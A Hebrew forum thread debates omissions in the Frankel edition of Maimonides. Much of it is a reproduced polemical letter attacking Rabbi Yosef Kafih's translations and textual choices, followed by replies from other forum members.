בית פורומים עצור כאן חושבים

צנזורה במהדורת שבתי פרנקל

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-18/7/2011 22:44 לינק ישיר 

פי האתון

אני מבין שדבריך מכוונים אלי (מיימון=שם אביו של הרמב"ם)?

לצערי לא אוכל להקדיש זמן כדי לברר את הנושא בשיטה שהצעת. אם יש לך דוגמאות, אשמח לבדקן ולדון בהן.

זה שדברי הרמב"ם נדחו מן ההלכה ידוע יפה. צא וראה כיצד המשנה ברורה דוחה את דעותיו שיש בהן להקל מפני דעות ראשוני ואחרוני אשכנז להחמיר. אבל מה בין זה לבין ניתוח דברי הרמב"ם עצמו?

דווקא בגלל שפוסקי הדורות האחרונים משועבדים לרמ"א ולאחרונים הם מרגישים חופשיים לעיין ברמב"ם בחופשיות מכל סייג. זה לא מחייב להלכה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/7/2011 02:25 לינק ישיר 

בע"ב, אתה ממש אספן דוגמאות (פעמיים באשכול זה, ועוד באשכולות עברו). עוד זה מדבר וזה בא להיכנס לספר הדוגמאות הגדול:
 http://www.bhol.co.il/forums/topic.asp?cat_id=38&topic_id=2904630&forum_id=19616
(תגובה ראשונה)

איזה חרדי טוב יכתוב כאלה דברים ובכזה טון על הח"ח או החזו"א? איכשהו הרמב"ם הצליח להיכנס לפנתיאון, אבל הוא זוכה לפחות כבוד מאשר עסקן חרדי בימינו. אפילו לא מרגישים צורך להסתיר את התיעוב כלפיו.



לגבי הילמן, הלל גרשוני בקושי דגדג את קצה הקרחון. הסטודנט לפילוסופיה זיע"א חשף את צביעותו של הילמן במלוא עוזו ותפארתו, והלומד מחברו פרק אחד וכו'.



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/7/2011 07:44 לינק ישיר 

מקסוול

"תיעוב"?

בהודעה שלינקקת אליה לא מצאתי מה שכתבת, אלא רק זהירות מפני הפילוסופיה, וזה, לפי מה שאני יודע עברית, לא אותו דבר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/7/2011 11:44 לינק ישיר 

 

הרב מיימוני,

כתבת, זו פוליטיזציה עלובה. אבל כמדומה שאין זה פוסל את ערך שאר הספר. זה כן מעורר את השאלה על המניעים.

שאלת המניעים פחות חשובה ובכל מקרה היא ידועה.

הבעיה הגדולה היא כאשר מתעלמים לחלוטין מאפשרות של תרגום שונה מטעמים פוליטיים. אולי אין זה "פוסל" את ערך שאר הספר. זה בהחלט מטיל צל כבד על אמינותו המקצועית.

לשיטתם הם יכלו להביא את אופציית התרגום לא ציון המקור. אם אינני טועה הם עשו דברים מעין אלו

זה סביר מאד, לצערי, שהוצאה כזו תתעלם בכוונה תחילה מן הרב קוק ומן הרב קאפח. אם מישהו מנהל חשבונות עתיקים, אז יתעלמו גם מהרב קלישר על ציונותו.

הקורא אמור להבין שכאשר כותב שצוינו ונבדקו "כל" המקורות זה כולל רק את ה"כל" שראוי להיכלל בספר לפי דעת עורכיו.

כנ"ל. אם רק משמיטים חומר לא תקין, מילא. מניעת הרווח. כאשר כותבים פוזיטיבית כי אין עוד אופציית תרגום זו כבר עוולה בקום ועשה. מגלה פנים שלא כהלכה.

 

 

 

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2011 01:42 לינק ישיר 

תשובת הרב הילמן על השמטת הרב קאפח [מתוך אתר אזמרך בלאומים]

בס''ד כ' אדר תשס''ב 
התעלמות מהדירי רמב''ם פרנקל מתרגומי רי''ק (ר' יוסף קאפח)

מע''כ ידי''ע הג''ר .......שליט''א 
נתבקשתי להגיב על הכתוב במאמר הר''פ כי אני הוא שכתבתי את הקטע של המקו''צ המובא במכתב הזה ואת ציוני סה''מ דמהדורתנו. וזה החלי. 
הכותב התמים הזה נמצא בתוך חוג שבו נחשב הרי''ק לגאון וצדיק ואחד מגדולי ישראל ושתרגומו עדיף אצלם מתרגומי התיבונים ושאר המתרגמים ומאמין שתרגומו למ''ע הראשונה הוא האמת לאמתה והיטב חרה לו העלמת האמת וביזוי הרי''ק וחושב שזה בגלל שמועות בב''ב שכופר בזוהר או משום שהוא מזרחיניק. עכ''ד. 
נתחיל מסוף דבריו. כתבנו ''הרב הגאון רש''ב זכר צדיק לברכה'' ולא כוזבנו כך על הר''ק משום שאינו מגיע לקרסוליו של רש''ב לא בתורה ולא בצדק!ת. 
מי שההדיר את תשובות רבנו הראב''ד וכתב עליו מ''ש הרי''ק בהערתו לתשו' מ''א אינו צדיק אלא... 
ולא רק את הראב''ד ביזה. גם ברבנו אברהם בן הרמב''ם העיז פניו וכתב ברוב חוצפתו שהעיד עדות שקר בשם אביו הרמב''ם כי לא הבין את מה ששמע מפיו, כך כתוב בפירושו של הצדיק הזה להלכות מילה רפ''ג ראש עמ' תש''א. וכעין זה כ' עליו בפירושו להל' תפלה סוף עמ' קפ''ו. 
כבר אמרו המליצים: אם ראשונים [בעינינו] בני מלאכים אנו בני אנשים ואם ראשונים [בעינינו] בני אנשים אנו כחמורים. 
עוד דוגמאות לצדקותו וגאונותו: 
בפירושו להל' ע''ז פ''ד סוף עמ' תט''ז כ' הרי''ק בזה''ל וכתב עליו מרכבת המשנה (אלפנדרי) דברי המחבר וגו'. וזה שקר וכזב שלא היה ולא נברא אלא בדמיונו של ''הגה''צ'' הלז. ר' אהרן אלפנדרי (מח''ס יד אהרן) לא כתב את זה לא בספרו מרכבת המשנה ולא בשום ספר אחר מספריו. 
כיו''ב כ' הרי''ק בפירושו להלכות ברכות פ''ג סוף עמ' תק''ל וז''ל: ''ושם הוסיף ר''י כולי, עי' בס' שייכנה''ג, ובני חייא סי' ר''ד, והרמ''ז. ומהר''ם בן חביב בחידושיו האריך בזה'' וכו'. וגם זה שקר וכזב שלא היה ולא נברא אלא בדמיונו של הרי''ק. שום מחבר שהנוטריקון של שמו הרמ''ז לא כתב שום דבר בנדון זה. הגאון הרי''ק מצא כתוב בדברי ר' יעקב כולי והרמ''ז מהר''ם בן חביב, ולא ידע הרי''ק שהר''י כולי היה נכדו של מהר''ם בן חביב, ולא ידע שפתרון הר''ת והרמ''ז הוא והרב מר זקני. והסיק הרי''ק מסברת כריסו שנפלה שם טעות הדפוס וכדי לתקן את הטעות הוסיף מדעתו הרחבה נקודה אחרי תיבת והרמ''ז וגם הוסיף וא''ו החיבור לתיבת מהר''ם. וייצא העגל הזה. (אדם ישר הי' כותב ''איני יודע פי' הר''ת'' או ''נראה לי שכך פירושו''.) ' 
ואע'פ שהעמידוהו על טעויותיו לא תיקן אותן בכרכים הבאים. בכלל אין בספריו שום תיקון טעות (חוץ מטעויות הדפוס) לא בתרגום המו''נ ולא בפירושו ליד החזקה ולא בתרגום פיהמ''ש. היאומן שלא טעה הרי''ק אף פעם אחת בכל הספרים הענקיים הללו?! 
אין לתבוע ממנו שיהא מודה בטעיותיו כרבותינו החזו''א והרא''ם שך זללה''ה וכיו''ב. אבל אפילו כהפרופיסורים ההגונים אינו נוהג. הפרופ' בלאו מהדיר תשובות הרמב''ם הודה לרי''ק ''תודה כפולה ומכופלת'' על טרחו והדפיס (בסוף ח''ג) את תיקוניו ותיקוניהם של אחרים [בשמם!] ולא בוש בזה. 
גם הפרופ' ליברמן הדפיס ''קונטרס תיקונים והשלמות לתוספתא כפשוטה סדר מועד'' וחזר בו שם מכמה דברים וכתב בסופו ''והנני מסיים בתפילה שאזכה לבער את כל הפסולת שבתוספתא כפשוטה לסדר זרעים ולסדר מועד ולתקן את הכל בסוף סדר נשים''. כי מדען הגון היה. רק בספרי ה''אחד מגדולי הדור'' ''הגאון'' וה''צדיק'' אין שום פסולת. אין שום טעות. ולא חזר בו משום תיבה שכתב בפי' הרמב''ם ובכל תרגומיו ובכל הערותיו. לזה יקרא גאוון פתלוגי ולא גאון ולא צדיק. 
הוסף לזה את הקללות והחירופים וההשמצות שכ' על שונאיו המפוזרות בפירושו לרמב''ם (וקצת מהן כתב בל' ערבי כדרך הלצים האשכנזים שכותבים דברים כאלה במאמע-לשון כדי שתשתמר עסיסיותם) ויתבאר לך פרצופו הרוחני. 
לדוגמא: בפירושו להל' אבל עמ' ר''ב כ' בזה''ל: ''...וכאשר שמעה קבוצת ארורים בזוים שפלים נתעבים את ההוראה טענו בשקר שהגרע''י אמר לעשות לו לויה ואני כוונתי לבזות את הנפטר ולא עשיתי... אף אחד מאותם הזבים והמצורעים לא השתתף בלויתו ובקבורתו ורק אני לוויתי אותו והשתתפתי בקבורתו תקברם אמם לאותם הארורים עכ''ל הטהור. היש פנינים כאלו גם בחיבורי שאר ''גדולי ישראל'' החרד''לים? 
אם כפר בזוהר או לא, לא פגשתי בספריו, אבל מצאתיו בהערה לפיהמ''ש מקואות פ''ח מ''ה שופך בוז על מ''ש הרוקח ומהרי''ל והאר''י שהוב''ד באו''ח סי' תר''ו בד''מ וט''ז ומג''א שהטובל משום תשובה צריך לטבול ג''פ. ומכנה אותם ''בעלי הדמיונות המצריכים ג''פ ויש ז''פ כאילו היו גלגולו של נעמן'' עכ''ל הט'. 
וכשמצא כתוב בהל' ע''ז פי''א ה''י ''וכל אותן הקולות והשמות (ההדגשה של הרי''ק) המשונים והמכוערים לא ירעו וגם היטב אין אתם'' פירש (בהערה לסהמ''צ מל''ת ל''ה) שכוונתו למה שקוראים בימינו ''שמות קדושים'' (המרכאות של הרי''ק). כל כך הושרשה בלבו השנאה והבוז למקובלים עד שבמצאו ברמב''ם ''השמות המשונים והמכוערים'' אין שום ספק בלבו שהכוונה לשמות הקדושים! כי איזה שמות יכול הרמב''ם לכנות מכוערים אם לא השמות הקדושים של המקובלים שנואי נפש הרי''ק וזקנו. 
הטענה שהעלמנו את ה''אמת'' של ''התרגום הנכון'' אינה אמת אלא שקר. כי בסוף הצטוט מן המקו''צ חיסר הבחור (אם בזדון או בשגגה איני יודע) את המלים ''ועיין ציוני סה''מ שם במהדורתנו ולא עיין ולא ראה שכתוב שם ''שמשמעות אעתקאד הוא להיות משוכנע באמיתותו נכונותו של איזה דבר ויש לתרגמו גם לידע כבמנין המצות הקצר וביסוה''ת שם... והתרגום להאמין אינו מדויק כי להאמנה ואמונה סתם משמש בערבי השרש אמן וכו'''. ובשגגה נשמט שם שדברים אלו לוקחו מן הגאון ר''ח העלר ז''ל בהערותיו לסה''מ ונבקש מכל מי שבידו סה''מ שלנו לרשום ד''ז בגליון ספר! והרי''ק הביא בפירושו ליסוה''ת את דברי הגרח''ה מתוך ס' עבודת המלך וחלק עליו בזה''ל: ומ''ש בשם הגרח''ה שיש במובן אעתקאד גם ידיעה אינו נכון אלא מובנו רק ידיעה.... ומתרגם סה''מ הטעה רבים באי ידיעתו עכ''ל. וכ''כ הרי''ק במצות ל''ת מ''ז: ''וכבר העירותי פעמים רבות שאין לתרגמה בשום אופן אמונה''. 
ודע שמ''ש הרי''ק ''ומתרגם סה''מ'' בלשון יחיד אינו נכון. כי כך תרגמו כל מתרגמי סה''מ דהיינו ר''מ ן' תיבון ור''ש ן' איוב ובעל התרגום שהביא הרמב''ן.וכך תרגם ר' שמואל ו' תיבון בכל מקום שהוזכר שרש ''עקד'' במורה נבוכים וכך תרגם ר' יהודה ו' תיבון בכל מקום שהוזכר בכוזרי. [בכוזרי סוף מאמר ב' כתוב במקור הערבי אלארא ואלאעתק אדאת ותרגמו הדעות והאמונות. וכ''כ ד''ר אבן שמואל בתרגומו החדש המצויין]. התיבונים תרגמו כך בכל מקום בכל הספרים הנ''ל כי דקדקו מאוד להיות נאמנים למקור הערבי ותרגמו דוקא כך כדי שיידע הקורא שכתוב במקור אעתקד ולא לשון אחר. (משא''כ הרי''ק שתרגם פעמים רבות מאד בלשון אמונה ולא חש למה שצווח שהמתרגם כך ''הטעה רבים באי ידיעתו''. ושבשום אופן אין לתרגמה אמונה.'') ואילו היו מתרגמי סה''מ נוקטים כאן לשון ידיעה היו טועים בזה טעות גסה. כי עי''ז היו מטעים את הקורא ומודיעים לו שבמקור הערבי לא כתוב כאן עאתקד (אלא מלה משרש עלם או ערף וכיו''ב) שאף פעם אחת לא תורגמה בסה''מ (בשלשת התרגומים) בלשון ידיעה. בציונינו לסה''מ מ''ע א' רשמנו את כל המקומות שהוזכר אעתקד בסה''מ וכיצד תרגמוה שלשת המתרגמים. וגם במו''נ לא תורגמה בלשון ידיעה, ובמ''ש הרי''ק שמתרגם סה''מ טעה והטעה הוכיח שאין לו שום מושג בשיטת תרגומי התיבונים וחבריהם שהקפידו על נאמנות למקור ואפילו כשעי''ז נפגמת ההבנה). ואילו ידע את זה הרי''ק היו נופלות הרבה מהשגותיו על התיבונים . 
והרי''ק עצמו כתב במ''ע קנג הערה 44: וכדי שלא אתרגם בשתי מילים תרגמתי ''אמונה''. כלומר מאהבת הקיצור וכדי שלא לתרגם בשתי מילים התיר לעצמו לכתוב שקר. גם לא טרח ללמדנו מה הן שתי המילים שהיה ראוי לתרגם בהן ולא תרגם. 
במל''ת שס''ב תרגם ''מאמין תורת משה'' וכתב בהערה שכבר העיר כמ''פ שאינה סתם אמונה אלא ידיעה והשקפה וכו'. 

ובר''פ חלק תרגם אמונות וכ' בהערה שתרגם כך מפני שכך תרגמו רוב הראשונים, ושכח את מ''ש שהמתרגם כך ''הטעה רבים באי ידיעתו'', ובמקומות רבים תרגם הרי''ק בלשון אמונה בלי שום הערה. 
בי''ג עיקרים בפיה''מ פ' חלק תרגם הרי''ק והיסוד השביעי... שנאמין שהוא [משה רבינו] אביהן וכו' והיסוד השמיני... שנאמין שכל התורה. ובסוף העיקרים: שזו תועלת באמונה. ובסוף משנה א: שצריך להאמין. וכן תרגם אלאעתקאדאת האמונות בפיה''מ לברכות פ''ט ריש מ''ז. 
ושם בפיה''מ קרוב לר''פ חלק מדובר על כמה כתות בנ''א, בכת הראשונה תרגם הרי''ק סוברת ובשניה תרגם מאמינה. במקור הערבי בשתיהן תעתקד. והמעיין בתרגומו בלי עיון במקור ''ישבור את ראשו'' להבין מאי שנא הראשונה מן השניה שזו סוברת וזו מאמינה ולא יתגלה לו מדוע נהג בדברי רבינו ז''ל כמתרגם סיפורי בדים שנוקט במילים שונות לשם גיוון. 
ולא עוד אלא שבתוך דברי הרמב''ם על הכת הראשונה כתב תרגום שלישי לאתעתקד , לא אמונה ולא סברא אלא דעה. 
ומכאן מודעה לת''ח ובני תורה שחפצים לדקדק בלשון הרמב''ם בספריו הערביים (כמו שהורגלו לדייק בס' היד) שלא יסמכו על תרגומי הרי''ק בלי עיון במקור הערבי. כדי שלא ייגעו לריק להבין את שינויי הלשונות אשר יצר הרי''ק (ועז''נ ארור משגה עור). 
עוד דוגמאות להנ''ל: 
בכמ''ק במו''נ מדובר במאמיני קדמות העולם ומאמיני גשמות הבורא. בפרקים המדברים על הקדמות (ח''ב פיג-טז) נקט הרי''ק 15 פעמים לשון סברא (סוברי הקדמות וכיו''ב) ולגבי הגשמות נקט עפי''ר לשון אמונת הגשמות מאמיני הגשמות להאמין בגשמות (עי' חלק א' ספל''ה וספל''ו וספמ''ו) אבל ברפנ''ג תרגם סברת הגשמות ושסובר הגשמות. בקטע הקטן שבספל''ו תרגם פ''א לשון אמונה וב''פ ''להיות בדעה'' ופ''א הוכח לו. 
בח''א רפס''ג (ריש עמ' קסד) תרגם מאמיני הרוחניות. 
בח''ב רפל''ג (ריש עמוד שצא) תרגם ''סובר מציאות ה' כל שכן שיסבור נבואה אלא מטרתי להזכיר השקפות ''מאמיני ה'''. 
הרי לפניך ''בנשימה אחת'' ממש ב''פ סברא ופ''א אמונה. וכתב בהערתו ''מעתקד'' ותרגמתי מאמיני מתוך קלישות אם כי אינה אמונה סתמית אלא דעה בסיסית עכ''ל (מה נתכוון במלה ''קלישות'' איני יודע), והמעיין במקור הערבי רואה שגם גבי מציאות ה' וגם גבי נבואה כתוב יעתקד ולמה תרגם בהן סובר ולא תרגם מאמין (מתוך קלישות). בתחלת פתיחת המו''נ (הערה 7) כ' הרי''ק שאעתקאד אינה אמונה כתרגום הר''ש ן' תיבון ושרבינו עצמו תרגמה ברה''ל יסוה''ת ''לידע'', וכשהגיע הרי''ק אצל ציון 63 וציון 65 ''שכח'' את מש''כ בציון 7 ותרגם שתי המלים ''קואעד אלאעתקאד'' = יסודות האמונה. (ולא טרח כלל להתנצל על זה בהערותיו). ואצל ציון 85 המציא תרגום נוסף למונח אעתקאדאת.והוא השגה. ואצ''ל שהר''ש ן' תיבון לא סטה סטיה כל שהיא מנאמנותו למקור הערבי ותרגם גם כאן (כדרכו בכל ספר מורה הנבוכים) האמנה.'' . 
גם בפה''ג חולין פ''א (אצל ציון 28) תרגם הרי''ק אמונה (בלי שום התנצלות) 
עיקר שכחתי. הי''ג עיקרים (אשר יסד הרמב''ם) כתובים בסידורי התפלה וכל כלל ישראל קוראים אני מאמין באמונה שלימה. ולא אני יודע בידיעה שלימה. 
מכל הנ''ל יובן שהטעם שלא הזכרנו את הרי''ק ואת תרגומו כי חששנו פן נהיה לבוז (בעיני המכירים את טיבו ואת ערך תרגומו).
אגב. איננו היחידים הנמנעים מהזכרת שמו של הרי''ק. כך נוהג רבנו הגר''ח קנייבסקי שליט''א בדרך אמונה ובשערי אמונה. וכך נהגו נכדי הכף החיים זצ''ל שהדפיסו מסכת שביעית עם כל המפרשים עם תרגום חדש לפיהמ''ש עפ''י צילום המקור הערבי שבכי''ק של הרמב''ם וכמובן שהשתמשו גם במהדורת הרי''ק ולא הזכירו לא אותו ולא את מהדורתו וכתבו בהקדמתם שעשו מעשיהם על פי הוראת מאורי הדור הגאונים הגדולים רבי' וכו'. וכך נהגו גם משאר חכמי עירנו שלא הזכירו שמו בהשתמשם במהדורתו. וראוי להחרד''לניקים התמימים לשפוך חרונם גם עליהם וגם על הר''ב משנת יוסף (עמ''ס שביעית) שכתב ב''מפתח הספרים'' שלו אצל כל אחד ממחברי זמננו הג''מ [הגאון מורנו] חוץ מ''אחד מגדולי 'שראל'' הלז שכ' עליו רק מהר''י קאפח. גם לא ברך אותו בברכת שליט''א שבירך בה את שאר חכמי דורנו. 
את הערכתו את בני הישיבות גילה הרי''ק בפמפלט שכתב נגדם שקראתיו לפני זמ''ר ונשכח ממני תכנו ונשאר אצלי רק הרושם שנכתב מתוך שנאה. רק ''פנינה'' אחת נשארה בזכרוני והיא שאחת מן האשמות שהאשימם הרי''ק הוא שנודף מהם ריח זיעה... 
על נוסחאותיו של הרי''ק בס' היד יש להעיר שלא טרח לעיין בספרי הדפוס שנדפסו קודם דפוס ויניציאה משנת של''ר ולא פגעה בהם הצנזורא הנוצרית. 
דוגמאות: 
1) ביסודי התורה. רפ''ה סוף אות ב' כ' הרי''ק; ''ונוסחתו [של הלח''מ] הטעתו שכתוב גזרה אבל לנוסח כ''י שכתוב שמד אין מקום לדיוקו'' וכל דבריו מורים על' חסרון ידיעה: 
א) שהנוסח כ''י אינו רק בכ''י אלא בכל ששת (או שבעת) הדפוסים שקדמו לד''ו של''ד שלא שובשו בגלל הצנזורא. 
ב) שהלח''מ למד בדפוסים הבלתי מצונזרים (רק אחרי שהתחיל לכתוב את ספרו נדפס דפוס ויניציאה של''ד המצונזר) ובספרים שלמד בהם לא היתה שום נוסחא שהטעתו. * 
ג) שהדפוס של הס' לחם-משנה שובש הרבה בגלל הצנזורא, ובמהדורת רש''פ סולקו ממנו השיבושים הללו, והרואה את דברי הלח''מ שבמהדורת רש''פ יראה שאין שחר לדברי הרי''ק. 
2) בהערה פ''ב להקדמת הרמב''ם כתב הרי''ק כל מקום שכתוב בדפוסים גמרא בכ''י .תלמוד... גם בהל' מלוה פט''ו... כתוב בכ''י תלמוד. וגם כאן גילה בורותו. כי בכל הדפוסים הישנים הנ''ל כתוב תלמוד ולא גמרא. 
3) בהל' ממרים פ''ג רה''א כותב הרי''ק: כ''ה נוסח ההלכה בכל כתה''י שברשותי ובנדפס שינו את פניה עד לבלי הכר. וכ''כ שם ברה''ב: כ''ה נוסח ההלכה בכל כ''י שברשותי ובנדפס הוסיפו וגרעו ושינו עד לבלי הכר. 
וכל זה כתב מחסרון ידיעתו שהיתה צנזורא בעולם ושבדפוסים הבלתי מצונזרים לא הוסיפו ולא גרעו ולא שינו. ואין כתה''י שברשותו משובחים בזה יותר מן הדפוסין הישנים. 
4) בפה''מ לחולין פ''א מ''ב כתוב בפנים משומד והעיר הרי''ק בהערה 17: כ''ה בכל כתבי יד ובנדפס המירה ל''מומר''. 
כאן גילה הרי''ק שלא עיין בפיהמ''ש שבדפוסין הישנים שכתוב בהם משומד. גם לא ידע שהתיבה מומר (במשמעות משומד) אינה כתובה בשום ספר שנדפס קודם הצנזורא. 
וכן הרבה חסרונות ושיבושים שתלה ''בנדפס'' אינם אלא משום שלא'עיין אלא בדפוסים המאוחרים המצונזרים. 
חושבני שיצאתי יד''ח לברר למה אין להתחשב בהרי''ק ואין לסמוך על תרגומיו.
עד כאן על מה שנשאלתי כי אני האחראי להכתוב במקו''צ בענין מתרגמי' סה''מ. 
וארשה לעצמי להעיר על מה שלא נשאלתי. 
בענין הרב קאלישער. כבר כתב הבחור הלז בעצמו שס' עבודה תמה הביא את כל דברי הרב קאלישער וא''כ יצאנו יד''ח בציונים לעבודה תמה כי המעיין בציונינו לעבודה תמה יראה שם את כל דברי הרב קאלישער ולא ייעלם ממנו שום דבר בגלל שלא רשמנו את ספרו של הרב קאלישער בפני עצמו.בענין הרב קוק. א. גם החזו''א לא הזכיר את שמו כשהביא את ההיתר שלו להרכיב כלאי אילן בשרשים וסתר את דבריו. גם בספר דרך אמונה לא הוזכרו הרב קוק וספריו. 
ב. עצתי לבחור התמים שיעבור על כל שבת הארץ וירשום את הדברים שהפסידו לומדי הר''מ דהרש''פ ע''י השמטת הציונים לשבת הארץ. כל הדברים שבשבת הארץ על הרמב''ם עצמו (ולא על דברי חז''ל שהובאו ברמב''ם) ונושאי כליו שלא הובאו כבר אצלנו בשם חכמים שקדמו להרב קוק בזמן ובמעלה. חושבני שכשיידע את מספרם יפוג צערו קצת (כי נער יספרם). 
עוד שקר כ' הרי''ק בהערה לפיה''מ תענית פ''ד סמ''ה. ושנה באוולתו בהערה לפיה''מ מגילה פ''ב מ''ג. ושילש את שטותו בהערה לפיה''מ מנחות פי''ג מ''ג, וז''ל: בכל כתבי היד העתיקים של התנ''ך ספר נחמי' נקרא עזרא שני. 
ואין שום ספק שאת כל (שים לב! לא קצת ולא רוב אלא כל) כתה''י הללו לא ראה הרי''ק אלא בחלומו. ובעל החלום שלו לא היה יהודי אלא נוצרי. כי רק אצלם בהוולגאטה יש להם עזרא א' ועזרא ב' (וגם עזרא ג' ועזרא ד'). כך קראתי באנציקלופדיא המקראית (ערך עזרא ונחמיה). וכתוב שם כי חלוקת ספר עזרא לשניים ''עברה מן הוולגאטה לתנ''ך העברי בערך באמצע המאה הט''ו לספירת הנוצרים'', דהיינו אחרי המצאת הדפוס. 
וכך כתב מסדר המסרה שבמקראות גדולות שהשתמש ''בספר הנקרא קונקורדנסייא חברו חכם א' קרוב לזמנינו זה בכמו מ' שנה שמו ר' יצחק נתן זצ''ל שנדפס פה בוויניציאה'' והוא חלק ספר עזרא לשני חלקים ומן ''דברי נחמיה בן חכליה משם ואילך קרא שמו נחמיה''. 
מסופקני אם יימצא ספר כת''י אחד בעולם של תנ''ך בלשון הקודש שכתובות בו המלים ''עזרא שני'' ואם ימצא יש לשער שכתב אותו אחד מן הגלחים המלומדים שעסקו ב''ברית הישנה'' הכתובה בלה''ק. הנמצא בעולם ספר אחד (שחיברו יהודי שהשתמש בכתבי-יד) שכתוב בו המלים עזרא א' או עזרא ב'! ואין זו פליטת קולמוס של הרי''ק, שהרי שב על קיאו ושנה באיוולתו שלש פעמים! 
דוגמא של דרגתו של הרי''ק בחכמת הלשון: 
בסוף הלכות דעות כ' הרמב''ם ראובן שאמר לשמעון [בעל הבית] שכור לי בית זה. וכ' הרי''ק: כ''ה הנוס' בכל כה''י ורוב הדפוסים וראיתי ''חכם'' שכתב שהיא ''בלתי נכונה וגם בלתי מובנת'' והגיה...''השכר' ואיני יודע למה אינה כמו מכור לי סגוד לי חבול בי רקוד לפניי וכדומה. והאמת כי נכונה ומובנת היא. עכ''ל. 
וגילה במש''כ ''ואיני יודע למה אינה כמו מכור לי'' שאינו יודע שבכל מקום בדחז''ל מובעת פעולת בעל הבית רק בבנין הפעיל (בעבר השכיר ובהווה משכיר, ובציווי השכר) ופעולת השוכר בבנין קל (בעבר שכר, ובהווה שוכר, ובציווי שכור) וכיון שלא מצא אותו ''חכם'' בשום מקום בדחז''ל שמובעת פעולת בעל הבית בבנין קל הסיק שנפלה פה ט''ס. וכדי לסתור את דעתו של החכם ''ולהצדיק'' את רבינו צריך להביא לכה''פ מקום אחד שנקטו חכמים בנין קל של הפעל ''שכר'' גבי בעה''ב [בשביל הטענה ששכור לי הוא כמו מכור לי וכו' נותנים לילדה בבי''ס עממי ציון ''בלתי מספיק''...]. 
ואם תרצה לדעת אם ''שכור לי'' טעות סופר או לא עי' ילקוט שנו''ס ברמב''ם פרנקל ותמצא כתוב: עי' בילקוט שנו''ס ערובין פ''ב הי''ד ופ''ד הי''ד ומעילה פ''ו ה''ד ושכנים פ''א ה''ב ושכירות פ''ו ה''ט וטוען פ''א ה''א ופט''ז ה''ח''. 
ואם תעיין בשבעת המקומות שרשמו בעל' השנו''ס תבין שאין זו ט''ס, כי כך דרך רבינו להשתמש גם בבנין קל בנד''ז. 
בענין דקדוק התיבונים בנאמנות למקור הערבי אביא דוגמא מדבר קטן וחסר משמעות: 
בנספח ל''פירוש המלות הזרות'' שבמו''נ של הר''ש ן' תיבון כתב הד''ר יהודא אבן שמואל (בסוף המו''נ שהו''ל בכרך אחד בהוצ' מוסד הרב קוק) פרק על ''כללי הדקדוק של הר''ש בתרגומיו'' ובסוף הפרק כ' בזה''ל: ''מלת הקישור למשפט צדדי: אשר או ש חסרה לרוב''. ובמח''כ לא שם לב שהר''ש העתיק בדיוק נמרץ את המקור וכתב אשר אך ורק כשכתוב בערבי אלד'י (בל' נקבה אלת'י) שבא בלשון קדר רק אחרי שם מיודע (שיש בו ה' הידיעה ר''ל ''אל'' בל''ע) ואינו בא אחרי שם שאינו מיודע. 
עוד דוגמא להכשלת הרי''ק את מי שהאמין לתרגומו: 
בפיה''מ ריש פיאה כ' הרי''ק שהאוג הוא אלסמאק אלשאמי ובדמאי פ''א מ''ה ובריש מעשרות כתב הרי''ק שהוא אלסמאק של א''י, ונכשל בו (במכ''ע נטועים גל' ח) מי שהאמין לו ולא ראה שבמקור הערבי כתוב אלשאמי גם בדמאי ובמעשרות. 
ועוד דוגמא לתעלולי הרי''ק: 
בהקדמתו למו''נ שלו השפיל את ערך תרגום הר''ש וכתב שהשבחים ששיבה אותו הרמב''ם באגרתו אליו אינם אלא גינוני נימוס גרידא. והעלים הרי''ק מקוראיו שהרמב''ם כתב עליו לחכמי לוניל שבחים גדולים ושיוכלו לסמוך על מומחיותו בתרגום. וכבר הרס ר''י שילת במאמרו (בס' זכרון להרב נסים ח''ב) את כל בנין הרי''ק (שבנה על טעותו של פרופ' זנה בענין אגרת הרמב''ם אל הר''ש) והביא את אגרת הרמב''ם אל חכמי לוניל והעיר שם על טעויות רבות שם בתרגום הרי''ק. וכמובן שלא הודה הרי''ק בשום טעות כדרכו ברוב גאונו וצדקתו. 
על ה''תגלית'' של הרי''ק בענין תשובות הרמב''ם לחכמי לוניל כבר הלעיגו רבים. אך אולי כדאי להודיעה למאן דלא ידע, והוא שברור להרי''ק ששאלות חכמי לוניל נפלו בידיו של איזה חכם נבל שהשיב עליהן וחתם את שם הרמב''ם והטעה את השואלים ואת כל חכמי הדורות עד שקמתי קאפח (שכל חכמי ישראל עליו כקליפת השום) וגילה שכל התשובות הללו נכתבו ע''י מי שאינו מכיר את ''דרך מחשבתו'' של הרמב''ם (המוכרת רק להרי''ק). וגם מרבנו אברהם בן הרמב''ם נעלמה התגלית הזאת והוטעה להאמין שהם דברי אביו. כנראה שלדעת הרי''ק גם הוא לא ידע את ''דרך מחשבתו'' של אביו. (בכלל נחשב הוא אצל הרי''ק בגדר ''מפגר'' שלא הבין את דברי אביו כמו שהבאתי בתחלת דבריי.) 
ואחתום בכפילת ברכה ידיד''ש..




דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2011 01:48 לינק ישיר 

דיון בענין זה בפורום ספרים וסופרים

http://www.bhol.co.il/forums/topic.asp?topic_id=2409949&forum_id=19616



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2011 08:25 לינק ישיר 

ייתכן כתב:

אם רק משמיטים חומר לא תקין, מילא. מניעת הרווח. כאשר כותבים פוזיטיבית כי אין עוד אופציית תרגום זו כבר עוולה בקום ועשה.

נכון! צדקת ממני.

***

יהי אור

תודה על העתקת הדברים. (אני מבין שגילית אותם במאוחר).

קראתי די "מלמעלה" את תשובת הרב הילמן. הוא אכן גילה דברים מוזרים קצת אצל הרב קאפח. אבל כמדומה שעדיין יש להבדיל בין הבר לבין התבן. והרי גם אצל גדולי ישראל אחרים מצאנו לשונות קשים עוד יותר ובכל זאת לומדים את דבריהם ואף אחד לא הציע להשליכם החוצה מבית המדרש.

ומה שהצביע על מנהג אחרים שלא הזכירוהו לרב קאפח בשמו, אדרבה, הם שנהגו שלא כהוגן.

והרשימה של "עוולות וטעויות" של הרב קאפח מעידה מצד אחד שטרח ואסף דוגמאות נגדיות והיה הדבר מסודר אצלו במחשבתו. אבל גם בתוך רשימה זו אפשר למצוא תפיסות של כלום.

